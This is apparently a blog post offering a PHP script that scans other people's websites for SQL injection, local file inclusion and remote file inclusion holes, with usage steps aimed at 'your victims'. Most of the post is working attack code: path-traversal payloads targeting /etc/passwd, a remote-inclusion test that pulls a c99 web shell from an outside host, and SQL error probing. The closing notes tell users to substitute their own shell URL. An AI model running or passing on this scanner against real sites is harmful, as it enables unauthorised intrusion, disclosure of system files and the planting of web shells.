Author : Magetan IT Community Admin
TRANSLATE TO
Here is my exploit scanner for Sql Injection, Remote File Include, Local File Include analyze scanner, please do not remove credit link to this blog. Simple to useTRANSLATE TO
1. Upload to your web hosting ( magic_quote on, curl on )
2. Insert your victims parameter to the text box ( parameter must be http://what-the-hell-sites.com/anyfile.php?id=1234 )
3. Click "Scan"
The program will give you a result of any bug on your victims. And the code is :
Code .
<?php
set_time_limit(0);
if (isset($_GET["do"])) {
$do = explode(":",$_GET["do"]);
if ($do[0] == "selected") {selected($do[1]); }
elseif ($do[0] == "scantime") { scantime($do[1]); }
} else { main(); }
function main(){
echo 'LFI, RFI, SQL - Scanner
<form action="" method="post">
Site to test: <input name="scan" type="text" />
<input type="submit" name="searchn" value="Scan"/>
</form>';
$link = $_POST['scan'];
preg_match('@^(?:http://)?([^/]+)@i',$link, $matches);
$host = $matches[1];
function getLinks($link) {
$ret = array();
$dom = new domDocument;
@$dom->loadHTML(file_get_contents($link));
$dom->preserveWhiteSpace = false;
$links = $dom->getElementsByTagName('a');
foreach ($links as $tag)
{
$ret[$tag->getAttribute('href')] = $tag->childNodes->item(0)->nodeValue;
}
return $ret;
}
if (isset($_POST["searchn"])) {
echo '<form action="exploit.php?do=selected" method="post">';
echo "<br>Links found: <ol>";
if (preg_match("/=/", $link)) {
echo '<input name="sites[]" type="checkbox" id="sites[]" value="'.$link.'">'.$link.'<br>';
}
$urls = getLinks($link);
if(sizeof($urls) > 0)
{
foreach($urls as $key=>$value)
{
if (preg_match("/=/i", $key)) {
if (preg_match("/.com|.net|.org|.co.uk|.com.au|.us/", $key)) {
echo '<input name="sites[]" type="checkbox" id="sites[]" value="'.$key.'">'.$key.'<br>';
}
else{
echo '<input name="sites[]" type="checkbox" id="sites[]" value="'.$host.'/'.$key.'">'.$host.'/'.$key.'<br>';
}
}
}
echo "</ol>";
}
else
{
echo "</ol>";
echo "D3m3nt0r tidak mengenali exploitable links pada $link<br><br>";
}
echo "<input type='submit' value='Scan Sites'></form>";
}
}
function selected(){
echo '<form action="exploit.php?do=scantime" method="post">';
$sites = $_POST['sites'];
$n = count($sites);
$i = 0;
$r = 1;
echo "Testing.." .
"<ol>";
while ($i < $n)
{
$site = "{$sites[$i]}";
$equals = strrpos($site,"=");
$siteedit = substr_replace($site, '', $equals+1);
echo "<br />$r. $siteedit<br />";
rfi($siteedit);
lfi($siteedit);
sql($siteedit);
$i++;
$r++;
}
echo "</ol>";
echo "<a href='exploit.php'>D3m3nt0r sarankan untuk test ulang </a>";
}
function lfi($site) {
$lfifound = 0;
$lfi = array(
"/etc/passwd",
"../etc/passwd",
"../../etc/passwd",
"../../../etc/passwd",
"../../../../etc/passwd",
"../../../../../etc/passwd",
"../../../../../../etc/passwd",
"../../../../../../../etc/passwd",
"../../../../../../../../etc/passwd",
"../../../../../../../../../etc/passwd",
"../../../../../../../../../../etc/passwd",
"/etc/passwd",
"../etc/passwd",
"../../etc/passwd",
"../../../etc/passwd",
"../../../../etc/passwd",
"../../../../../etc/passwd",
"../../../../../../etc/passwd",
"../../../../../../../etc/passwd",
"../../../../../../../../etc/passwd",
"../../../../../../../../../etc/passwd",
"../../../../../../../../../../etc/passwd"
);
$totallfi = count($lfi);
for($i=0; $i<$totallfi; $i++)
{
$GET = @file_get_contents("$site$lfi[$i]");
if (preg_match("/root/i",$GET, $matches)) {
echo "D3m3nt0r menemukan bug LFI: $site$lfi[$i]<br>";
$lfifound = 1;
}
}
if ($lfifound == 0) {
echo "D3m3nt0r tidak menemukan bug LFI.<br>";
}
}
function rfi($site) {
$rfifound = 0;
$rfi = " GANTI DENGAN ALAMAT SHELL ANDA SENDIRI http://files.xakep.biz/shells/PHP/c99madshell_v2.1.php.php.txt?";
$GET1 = @file_get_contents("$site$rfi");
if (preg_match("/root/i",$GET1, $matches)) {
echo "D3m3nt0r menemukan bug RFI: $site$rfi<br>";
$rfifound = 1;
}
if ($rfifound == 0) {
echo "D3m3nt0r tidak menemukan bug RFI.<br>";
}
}
function sql($site) {
$sqlfound = 0;
$sql = "99'";
$GET2 = @file_get_contents("$site$sql");
if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_ fetch_assoc()|mysql_fetch_row()|SELECT * FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET2, $matches)) {
echo "D3m3nt0r menemukan bug SQLi: $site$sql<br>";
$sqlfound = 1;
}
if ($sqlfound == 0) {
echo "D3m3nt0r tidak menemukan bug sqli.<br>";
}
}
?>
<center><a href="http://www.magetan-it.org/" target="_blank">Powered By Magetan-IT</a></center>
</html>
/Code
Notes :
exploit.php = if you use other file name, you must change this line with your file names,
blablabla.php.txt = change with your own shell code URL
Do not remove credit link please :-) if your copy-paste doesnt work you can download this code here, password : www.magetan-it.org thanks and hope you;ll give my site a backlink if you think this site usefull :) dont forget to share on your social media.
